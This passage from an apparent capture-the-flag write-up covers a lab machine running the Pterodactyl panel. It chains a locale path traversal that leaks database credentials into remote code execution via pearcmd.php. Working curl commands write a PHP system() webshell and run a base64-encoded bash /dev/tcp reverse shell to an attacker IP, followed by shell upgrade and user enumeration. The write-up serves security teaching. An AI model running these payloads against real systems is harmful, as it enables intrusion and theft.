(prefers-color-scheme:dark){.dark\:bg-gray-800{--bg-opacity:1;background-color:#2d3748;background-color:rgba(45,55,72,var(--bg-opacity))}.dark\:bg-gray-900{--bg-opacity:1;background-color:#1a202c;background-color:rgba(26,32,44,var(--bg-opacity))}.dark\:border-gray-700{--border-opacity:1;border-color:#4a5568;border-color:rgba(74,85,104,var(--border-opacity))}.dark\:text-white{--text-opacity:1;color:#fff;color:rgba(255,255,255,var(--text-opacity))}.dark\:text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}}
        &lt;/style&gt;

        &lt;style&gt;
            body {
                font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
            }
        &lt;/style&gt;
    &lt;/head&gt;
    &lt;body class="antialiased"&gt;
        &lt;div class="relative flex items-top justify-center min-h-screen bg-gray-100 dark:bg-gray-900 sm:items-center sm:pt-0"&gt;
            &lt;div class="max-w-xl mx-auto sm:px-6 lg:px-8"&gt;
                &lt;div class="flex items-center pt-8 sm:justify-start sm:pt-0"&gt;
                    &lt;div class="px-4 text-lg text-gray-500 border-r border-gray-400 tracking-wider"&gt;
                        500                    &lt;/div&gt;

                    &lt;div class="ml-4 text-lg text-gray-500 uppercase tracking-wider"&gt;
                        Server Error                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/body&gt;
&lt;/html&gt;
</span></code></pre></div></div>

<p>The empty <code class="language-plaintext highlighter-rouge">[]</code> responses from the first two attempts are the loader’s miss path. <code class="language-plaintext highlighter-rouge">loadPath()</code> only calls <code class="language-plaintext highlighter-rouge">getRequire()</code> if the file exists, otherwise it returns <code class="language-plaintext highlighter-rouge">[]</code>. The 500 page is the win. PHP successfully <code class="language-plaintext highlighter-rouge">require</code>d <code class="language-plaintext highlighter-rouge">public/index.php</code> (Laravel’s front controller) and crashed bootstrapping a second application from inside the running one. Two <code class="language-plaintext highlighter-rouge">../</code> is the right depth, and from here I can include any <code class="language-plaintext highlighter-rouge">.php</code> file under the project root.</p>

<h4 id="database">Database</h4>

<p>One useful thing to try is to leak DB creds. The connection is configured in <code class="language-plaintext highlighter-rouge">config/database.php</code>:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510203722661.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260510203722661.png" alt="image-20260510203722661" class="include_image " />
</picture>

<p>I’ll grab that using the traversal:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="400"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="s1">'http://panel.pterodactyl.htb/locales/locale.json?locale=../../config&amp;namespace=database'</span> <span class="nt">-s</span> | jq <span class="nb">.</span>
<span class="go">{
  "../../config": {
    "database": {
      "default": "mysql",
      "connections": {
        "mysql": {
          "driver": "mysql",
          "url": "",
          "host": "127.0.0.1",
          "port": "3306",
          "database": "panel",
          "username": "pterodactyl",
          "password": "PteraPanel",
          "unix_socket": "",
          "charset": "utf8mb4",
          "collation": "utf8mb4_unicode_ci",
          "prefix": "",
          "prefix_indexes": "1",
          "strict": "",
          "timezone": "+00{{00}}",
          "sslmode": "prefer",
          "options": {
            "1014": "1"
          }
        }
      },
      "migrations": "migrations",
      "redis": {
        "client": "predis",
        "options": {
          "cluster": "redis",
          "prefix": "pterodactyl_database_"
        },
        "default": {
          "scheme": "tcp",
          "path": "/run/redis/redis.sock",
          "host": "127.0.0.1",
          "username": "",
          "password": "",
          "port": "6379",
          "database": "0",
          "context": []
        },
        "sessions": {
          "scheme": "tcp",
          "path": "/run/redis/redis.sock",
          "host": "127.0.0.1",
          "username": "",
          "password": "",
          "port": "6379",
          "database": "1",
          "context": []
        }
      }
    }
  }
}
</span></code></pre></div></div>

<p>There is a username and password, but it doesn’t work over SSH and I can’t access the database from here.</p>

<h3 id="rce-via-pearcmdphp">RCE via pearcmd.php</h3>

<h4 id="background-1">Background</h4>

<p>The changelog shows that the PHP-PEAR package manager is installed. PEAR has largely been superseded by Composer in modern PHP, but it still shows up, especially in Docker. PEAR ships its CLI entry-point as a plain PHP file at <code class="language-plaintext highlighter-rouge">/usr/local/lib/php/pearcmd.php</code>. This is a really nice target for my LFI because it ends in <code class="language-plaintext highlighter-rouge">.php</code>. Hacktricks documents a <a href="https://hacktricks.wiki/en/pentesting-web/file-inclusion/index.html#via-pearcmdphp--url-args">generic pearcmd.php LFI-to-RCE technique</a> as:</p>

<div class="language-http wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/index.php?+config-create+/&amp;file=/usr/local/lib/php/pearcmd.php&amp;/&lt;?=phpinfo()?&gt;+/tmp/hello.php</span> <span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span>
</code></pre></div></div>

<p>This is an odd URL structure, which is taking advantage of PHP’s <code class="language-plaintext highlighter-rouge">register_argc_argv</code> <a href="https://www.php.net/manual/en/ini.core.php#ini.register-argc-argv">setting</a>, which is enabled on Pterodactyl:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260511070134573.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260511070134573.png" alt="image-20260511070134573" class="include_image " />
</picture>

<p>It’s not well documented, but looking at the PHP source code in <code class="language-plaintext highlighter-rouge">php_variables.c</code> on <a href="https://github.com/php/php-src/blob/769441ba430995733d2ad21727d51b1ace115317/main/php_variables.c#L655-L711">lines 655-711</a> is a function named <code class="language-plaintext highlighter-rouge">php_build_argv</code>. In that function is this bit that shows splitting on <code class="language-plaintext highlighter-rouge">+</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>	<span class="err">}</span> <span class="k">else</span> 	<span class="nf">if</span> <span class="p">(</span><span class="n">s</span> <span class="o">&amp;&amp;</span> <span class="o">*</span><span class="n">s</span><span class="p">)</span> <span class="p">{</span>
		<span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
			<span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">space</span> <span class="o">=</span> <span class="n">strchr</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="sc">'+'</span><span class="p">);</span>
			<span class="cm">/* auto-type */</span>
			<span class="n">ZVAL_STRINGL</span><span class="p">(</span><span class="o">&amp;</span><span class="n">tmp</span><span class="p">,</span> <span class="n">s</span><span class="p">,</span> <span class="n">space</span> <span class="o">?</span> <span class="n">space</span> <span class="o">-</span> <span class="n">s</span> <span class="o">:</span> <span class="n">strlen</span><span class="p">(</span><span class="n">s</span><span class="p">));</span>
			<span class="n">count</span><span class="o">++</span><span class="p">;</span>
			<span class="k">if</span> <span class="p">(</span><span class="n">zend_hash_next_index_insert</span><span class="p">(</span><span class="n">Z_ARRVAL</span><span class="p">(</span><span class="n">arr</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">tmp</span><span class="p">)</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
				<span class="n">zend_string_efree</span><span class="p">(</span><span class="n">Z_STR</span><span class="p">(</span><span class="n">tmp</span><span class="p">));</span>
			<span class="p">}</span>
			<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">space</span><span class="p">)</span> <span class="p">{</span>
				<span class="k">break</span><span class="p">;</span>
			<span class="p">}</span>
			<span class="n">s</span> <span class="o">=</span> <span class="n">space</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
		<span class="p">}</span>
	<span class="p">}</span>
</code></pre></div></div>

<p>So the <code class="language-plaintext highlighter-rouge">argv</code> from the example is:</p>

<table>
  <thead>
    <tr>
      <th>i</th>
      <th>argv[i]</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>0</td>
      <td>[empty string, before first <code class="language-plaintext highlighter-rouge">+</code>]</td>
    </tr>
    <tr>
      <td>1</td>
      <td><code class="language-plaintext highlighter-rouge">config-create</code></td>
    </tr>
    <tr>
      <td>2</td>
      <td><code class="language-plaintext highlighter-rouge">/&amp;file=/usr/local/lib/php/pearcmd.php&amp;/&lt;?=phpinfo()?&gt;</code></td>
    </tr>
    <tr>
      <td>3</td>
      <td><code class="language-plaintext highlighter-rouge">/tmp/hello.php</code></td>
    </tr>
  </tbody>
</table>

<p>The <code class="language-plaintext highlighter-rouge">pearcmd.php</code> file takes a first arg as a command, and that command takes two arguments. The first (<code class="language-plaintext highlighter-rouge">argv[2]</code> above) is the content to write to the config file. In this case, that includes the arg with the file path, but since the locale.json response is plain JSON rather than executed PHP, those short-echo tags just show up as static text on the page until the dropped config file is later included via the LFI. The second (<code class="language-plaintext highlighter-rouge">argv[3]</code>) is the file path to write.</p>

<p>The strategy is to write a webshell that I can then include in a second request to the LFI.</p>

<h4 id="poc-for-pterodactyl">POC for Pterodactyl</h4>

<p>To adjust the POC for Pterodactyl, I’ll need to get the path for <code class="language-plaintext highlighter-rouge">pearcmd.php</code>. PHPInfo shows it:</p>

<picture>
    <source type="image/webp" srcset="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260511095900364.webp" />
    <img loading="lazy" src="https://pub-4caceed5c57c4466b559b0834d2806c9.r2.dev/img/image-20260511095900364.png" alt="image-20260511095900364" class="include_image " />
</picture>

<p>I’ll update the <code class="language-plaintext highlighter-rouge">locale</code> variable to point to this:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">locale=../../../../../usr/share/php/PEAR</code></li>
  <li><code class="language-plaintext highlighter-rouge">namespace=pearcmd</code></li>
</ul>

<p>Two <code class="language-plaintext highlighter-rouge">../</code> got me back to the project root for <code class="language-plaintext highlighter-rouge">public/index.php</code> and <code class="language-plaintext highlighter-rouge">config/database.php</code>; five walks me past the root of the project, all the way up to <code class="language-plaintext highlighter-rouge">/</code>, and then back down into <code class="language-plaintext highlighter-rouge">/usr/share/php/PEAR</code> for <code class="language-plaintext highlighter-rouge">pearcmd.php</code>.</p>

<p>I’ll also update the payload to a webshell. Spaces will mess up the URL and the args aren’t URL decoded before being written. I’ll use PHP short-echo tags to write a shell that doesn’t require spaces:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?=</span><span class="nb">system</span><span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span><span class="cp">?&gt;</span>
</code></pre></div></div>

<p>The result is:</p>

<div class="language-console code-collapse wrapall highlighter-rouge" data-trunc="400"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-g</span> <span class="s1">'http://panel.pterodactyl.htb/locales/locale.json?+config-create+/&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;+/tmp/shell.php'</span>
<span class="go">CONFIGURATION (CHANNEL PEAR.PHP.NET):
=====================================
Auto-discover new Channels     auto_discover    &lt;not set&gt;
Default Channel                default_channel  pear.php.net
HTTP Proxy Server Address      http_proxy       &lt;not set&gt;
PEAR server [DEPRECATED]       master_server    &lt;not set&gt;
Default Channel Mirror         preferred_mirror &lt;not set&gt;
Remote Configuration File      remote_config    &lt;not set&gt;
PEAR executables directory     bin_dir          /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear
PEAR documentation directory   doc_dir          /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/docs
PHP extension directory        ext_dir          /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/ext
PEAR directory                 php_dir          /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/php
PEAR Installer cache directory cache_dir        /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/cache
PEAR configuration file        cfg_dir          /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/cfg
directory
PEAR data directory            data_dir         /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/data
PEAR Installer download        download_dir     /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/download
directory
Systems manpage files          man_dir          /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/man
directory
PEAR metadata directory        metadata_dir     &lt;not set&gt;
PHP CLI/CGI binary             php_bin          &lt;not set&gt;
php.ini location               php_ini          &lt;not set&gt;
--program-prefix passed to     php_prefix       &lt;not set&gt;
PHP's ./configure
--program-suffix passed to     php_suffix       &lt;not set&gt;
PHP's ./configure
PEAR Installer temp directory  temp_dir         /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/temp
PEAR test directory            test_dir         /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/tests
PEAR www files directory       www_dir          /&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/&lt;?=system($_REQUEST[0]);?&gt;/pear/www
Cache TimeToLive               cache_ttl        &lt;not set&gt;
Preferred Package State        preferred_state  &lt;not set&gt;
Unix file mask                 umask            &lt;not set&gt;
Debug Log Level                verbose          &lt;not set&gt;
PEAR password (for             password         &lt;not set&gt;
maintainers)
Signature Handling Program     sig_bin          &lt;not set&gt;
Signature Key Directory        sig_keydir       &lt;not set&gt;
Signature Key Id               sig_keyid        &lt;not set&gt;
Package Signature Type         sig_type         &lt;not set&gt;
PEAR username (for             username         &lt;not set&gt;
maintainers)
User Configuration File        Filename         /tmp/shell.php
System Configuration File      Filename         #no#system#config#
Successfully created default configuration file "/tmp/shell.php"
&lt;!DOCTYPE html&gt;
&lt;html lang="en"&gt;
    &lt;head&gt;
        &lt;meta charset="utf-8"&gt;
        &lt;meta name="viewport" content="width=device-width, initial-scale=1"&gt;

        &lt;title&gt;Server Error&lt;/title&gt;

        &lt;style&gt;
            /*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}a{background-color:transparent}code{font-family:monospace,monospace;font-size:1em}[hidden]{display:none}html{font-family:system-ui,-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Helvetica Neue,Arial,Noto Sans,sans-serif,Apple Color Emoji,Segoe UI Emoji,Segoe UI Symbol,Noto Color Emoji;line-height:1.5}*,:after,:before{box-sizing:border-box;border:0 solid #e2e8f0}a{color:inherit;text-decoration:inherit}code{font-family:Menlo,Monaco,Consolas,Liberation Mono,Courier New,monospace}svg,video{display:block;vertical-align:middle}video{max-width:100%;height:auto}.bg-white{--bg-opacity:1;background-color:#fff;background-color:rgba(255,255,255,var(--bg-opacity))}.bg-gray-100{--bg-opacity:1;background-color:#f7fafc;background-color:rgba(247,250,252,var(--bg-opacity))}.border-gray-200{--border-opacity:1;border-color:#edf2f7;border-color:rgba(237,242,247,var(--border-opacity))}.border-gray-400{--border-opacity:1;border-color:#cbd5e0;border-color:rgba(203,213,224,var(--border-opacity))}.border-t{border-top-width:1px}.border-r{border-right-width:1px}.flex{display:flex}.grid{display:grid}.hidden{display:none}.items-center{align-items:center}.justify-center{justify-content:center}.font-semibold{font-weight:600}.h-5{height:1.25rem}.h-8{height:2rem}.h-16{height:4rem}.text-sm{font-size:.875rem}.text-lg{font-size:1.125rem}.leading-7{line-height:1.75rem}.mx-auto{margin-left:auto;margin-right:auto}.ml-1{margin-left:.25rem}.mt-2{margin-top:.5rem}.mr-2{margin-right:.5rem}.ml-2{margin-left:.5rem}.mt-4{margin-top:1rem}.ml-4{margin-left:1rem}.mt-8{margin-top:2rem}.ml-12{margin-left:3rem}.-mt-px{margin-top:-1px}.max-w-xl{max-width:36rem}.max-w-6xl{max-width:72rem}.min-h-screen{min-height:100vh}.overflow-hidden{overflow:hidden}.p-6{padding:1.5rem}.py-4{padding-top:1rem;padding-bottom:1rem}.px-4{padding-left:1rem;padding-right:1rem}.px-6{padding-left:1.5rem;padding-right:1.5rem}.pt-8{padding-top:2rem}.fixed{position:fixed}.relative{position:relative}.top-0{top:0}.right-0{right:0}.shadow{box-shadow:0 1px 3px 0 rgba(0,0,0,.1),0 1px 2px 0 rgba(0,0,0,.06)}.text-center{text-align:center}.text-gray-200{--text-opacity:1;color:#edf2f7;color:rgba(237,242,247,var(--text-opacity))}.text-gray-300{--text-opacity:1;color:#e2e8f0;color:rgba(226,232,240,var(--text-opacity))}.text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}.text-gray-500{--text-opacity:1;color:#a0aec0;color:rgba(160,174,192,var(--text-opacity))}.text-gray-600{--text-opacity:1;color:#718096;color:rgba(113,128,150,var(--text-opacity))}.text-gray-700{--text-opacity:1;color:#4a5568;color:rgba(74,85,104,var(--text-opacity))}.text-gray-900{--text-opacity:1;color:#1a202c;color:rgba(26,32,44,var(--text-opacity))}.uppercase{text-transform:uppercase}.underline{text-decoration:underline}.antialiased{-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.tracking-wider{letter-spacing:.05em}.w-5{width:1.25rem}.w-8{width:2rem}.w-auto{width:auto}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}@-webkit-keyframes spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@keyframes spin{0%{transform:rotate(0deg)}to{transform:rotate(1turn)}}@-webkit-keyframes ping{0%{transform:scale(1);opacity:1}75%,to{transform:scale(2);opacity:0}}@keyframes ping{0%{transform:scale(1);opacity:1}75%,to{transform:scale(2);opacity:0}}@-webkit-keyframes pulse{0%,to{opacity:1}50%{opacity:.5}}@keyframes pulse{0%,to{opacity:1}50%{opacity:.5}}@-webkit-keyframes bounce{0%,to{transform:translateY(-25%);-webkit-animation-timing-function:cubic-bezier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@keyframes bounce{0%,to{transform:translateY(-25%);-webkit-animation-timing-function:cubic-bezier(.8,0,1,1);animation-timing-function:cubic-bezier(.8,0,1,1)}50%{transform:translateY(0);-webkit-animation-timing-function:cubic-bezier(0,0,.2,1);animation-timing-function:cubic-bezier(0,0,.2,1)}}@media (min-width:640px){.sm\:rounded-lg{border-radius:.5rem}.sm\:block{display:block}.sm\:items-center{align-items:center}.sm\:justify-start{justify-content:flex-start}.sm\:justify-between{justify-content:space-between}.sm\:h-20{height:5rem}.sm\:ml-0{margin-left:0}.sm\:px-6{padding-left:1.5rem;padding-right:1.5rem}.sm\:pt-0{padding-top:0}.sm\:text-left{text-align:left}.sm\:text-right{text-align:right}}@media (min-width:768px){.md\:border-t-0{border-top-width:0}.md\:border-l{border-left-width:1px}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}}@media (min-width:1024px){.lg\:px-8{padding-left:2rem;padding-right:2rem}}@media (prefers-color-scheme:dark){.dark\:bg-gray-800{--bg-opacity:1;background-color:#2d3748;background-color:rgba(45,55,72,var(--bg-opacity))}.dark\:bg-gray-900{--bg-opacity:1;background-color:#1a202c;background-color:rgba(26,32,44,var(--bg-opacity))}.dark\:border-gray-700{--border-opacity:1;border-color:#4a5568;border-color:rgba(74,85,104,var(--border-opacity))}.dark\:text-white{--text-opacity:1;color:#fff;color:rgba(255,255,255,var(--text-opacity))}.dark\:text-gray-400{--text-opacity:1;color:#cbd5e0;color:rgba(203,213,224,var(--text-opacity))}}
        &lt;/style&gt;

        &lt;style&gt;
            body {
                font-family: ui-sans-serif, system-ui, -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, "Noto Sans", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
            }
        &lt;/style&gt;
    &lt;/head&gt;
    &lt;body class="antialiased"&gt;
        &lt;div class="relative flex items-top justify-center min-h-screen bg-gray-100 dark:bg-gray-900 sm:items-center sm:pt-0"&gt;
            &lt;div class="max-w-xl mx-auto sm:px-6 lg:px-8"&gt;
                &lt;div class="flex items-center pt-8 sm:justify-start sm:pt-0"&gt;
                    &lt;div class="px-4 text-lg text-gray-500 border-r border-gray-400 tracking-wider"&gt;
                        500                    &lt;/div&gt;

                    &lt;div class="ml-4 text-lg text-gray-500 uppercase tracking-wider"&gt;
                        Server Error                    &lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/body&gt;
&lt;/html&gt;
</span></code></pre></div></div>

<p>It generates the config file and it’s full of webshells.</p>

<p>I’ll trigger it, including the command as a GET parameter:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-sg</span> <span class="s1">'http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&amp;namespace=shell&amp;0=id'</span>| <span class="nb">head</span> <span class="nt">-3</span>
<span class="c">#PEAR_Config 0.9
</span><span class="go">a:12:{s:7:"php_dir";s:97:"/&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/uid=474(wwwrun) gid=477(www) groups=477(www)
uid=474(wwwrun) gid=477(www) groups=477(www)/pear/php";s:8:"data_dir";s:98:"/&amp;locale=../../../../../usr/share/php/PEAR&amp;namespace=pearcmd&amp;/uid=474(wwwrun) gid=477(www) groups=477(www)
</span></code></pre></div></div>

<p>It worked!</p>

<h4 id="shell">Shell</h4>

<p>I’ll make a simple <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">bash reverse shell</a> and base64-encode it for ease of transfer:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'bash -i &gt;&amp; /dev/tcp/10.10.14.61/443 0&gt;&amp;1'</span> | <span class="nb">base64</span> 
<span class="go">YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC42MS80NDMgMD4mMQo=
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'bash -i  &gt;&amp; /dev/tcp/10.10.14.61/443 0&gt;&amp;1'</span> | <span class="nb">base64</span> 
<span class="go">YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzIDA+JjEK
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'bash -i  &gt;&amp; /dev/tcp/10.10.14.61/443  0&gt;&amp;1'</span> | <span class="nb">base64</span> 
<span class="go">YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxCg==
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'bash -i  &gt;&amp; /dev/tcp/10.10.14.61/443  0&gt;&amp;1 '</span> | <span class="nb">base64</span> 
<span class="go">YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxIAo=
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo</span> <span class="s1">'bash -i  &gt;&amp; /dev/tcp/10.10.14.61/443  0&gt;&amp;1  '</span> | <span class="nb">base64</span> 
<span class="go">YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxICAK
</span></code></pre></div></div>

<p>I keep adding spaces until there are no special characters to reducec potential issues. Now I can send that to the webshell:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>curl <span class="nt">-sg</span> <span class="s1">'http://panel.pterodactyl.htb/locales/locale.json?locale=../../../../../tmp&amp;namespace=shell'</span> <span class="nt">-G</span> <span class="nt">--data-urlencode</span> <span class="s1">'0=echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjEvNDQzICAwPiYxICAK | base64 -d | bash'</span>
</code></pre></div></div>

<p>It hangs, but at <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.64.117 36096
bash: cannot set terminal process group (1227): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">wwwrun@pterodactyl:/var/www/pterodactyl/public&gt;</span><span class="w"> 
</span></code></pre></div></div>

<p>I’ll upgrade the shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/var/www/pterodactyl/public&gt; </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">script /dev/null -c bash                                   
Script started, output log file is '/dev/null'.                                                                       
</span><span class="gp">wwwrun@pterodactyl:/var/www/pterodactyl/public&gt; </span>^Z                                                                    
<span class="go">[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
</span><span class="gp">            ‍</span>reset
<span class="go">reset: unknown terminal type unknown
Terminal type? screen 
</span><span class="gp">wwwrun@pterodactyl:/var/www/pterodactyl/public&gt; </span><span class="w">
</span></code></pre></div></div>

<h2 id="shell-as-phileasfogg3">Shell as phileasfogg3</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="os">OS</h4>

<p>The machine is actually running openSUSE:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/&gt; </span><span class="nb">cat</span> /etc/os-release 
<span class="go">NAME="openSUSE Leap"
VERSION="15.6"
ID="opensuse-leap"
ID_LIKE="suse opensuse"
VERSION_ID="15.6"
PRETTY_NAME="openSUSE Leap 15.6"
ANSI_COLOR="0;32"
CPE_NAME="cpe:/o:opensuse:leap:15.6"
BUG_REPORT_URL="https://bugs.opensuse.org"
HOME_URL="https://www.opensuse.org/"
DOCUMENTATION_URL="https://en.opensuse.org/Portal:Leap"
LOGO="distributor-logo-Leap"
</span></code></pre></div></div>

<p>That explains why the versions during <code class="language-plaintext highlighter-rouge">nmap</code> enumeration didn’t match cleanly to an OS I’ve documented. I don’t know that there’s a clean mapping of versions to OS versions for openSUSE.</p>

<p>This version should be vulnerable to two recent Linux LPE bugs, <a href="https://copy.fail/">CopyFail</a> and <a href="https://github.com/V4bel/dirtyfrag">DirtyFrag</a>. I’ll dig into both in <a href="#beyond-root">Beyond Root</a>.</p>

<h4 id="users">Users</h4>

<p>There are two users with home directories in <code class="language-plaintext highlighter-rouge">/home</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/home&gt; </span><span class="nb">ls</span>
<span class="go">headmonitor  phileasfogg3
</span></code></pre></div></div>

<p>Those two users, root, and the nobody user have shells configured:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/&gt; </span><span class="nb">cat</span> /etc/passwd | <span class="nb">grep</span> <span class="s1">'sh$'</span>
<span class="go">root:x:0:0:root:/root:/bin/bash
nobody:x:65534:65534:nobody:/var/lib/nobody:/bin/bash
headmonitor:x:1001:100::/home/headmonitor:/bin/bash
phileasfogg3:x:1002:100::/home/phileasfogg3:/bin/bash
</span></code></pre></div></div>

<p>nobody having a shell is common on openSUSE.</p>

<p>wwwrun has access to phileasfogg3’s home directory because it is world readable:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">wwwrun@pterodactyl:/home/phileasfogg3&gt; </span><span class="nb">ls</span> <span class="nt">-la</span>
<span class="go">total 24
drwxr-xr-x 1 phileasfogg3 users  156 Dec 31 17:29 .
drwxr-xr-x 1 root         root    46 Nov  7  2025 ..
lrwxrwxrwx 1 root         root     9 Dec 31 17:29 .bash_history -&gt; /dev/null
-rw-r--r-- 1 phileasfogg3 users 1177 Aug 22  2024 .bashrc
drwx------ 1 phileasfogg3 users    0 Mar 15  2022 .cache
drwx------ 1 phileasfogg3 users    0 Mar 15  2022 .config
-rw-r--r-- 1 phileasfogg3 users 1637 Apr  9  2018 .emacs
drwxr-xr-x 1 phileasfogg3 users    0 Mar 15  2022 .fonts
-rw-r--r-- 1 phileasfogg3 users  861 Apr  9  2018 .inputrc
drwx------ 1 phileasfogg3 users    0 Mar 15  2022 .local
-rw-r--r-- 1 phileasfogg3 users 1028 Aug 22  2024 .profile
drwxr-xr-x 1 phileasfogg3 users    0 Mar 15  2022 bin
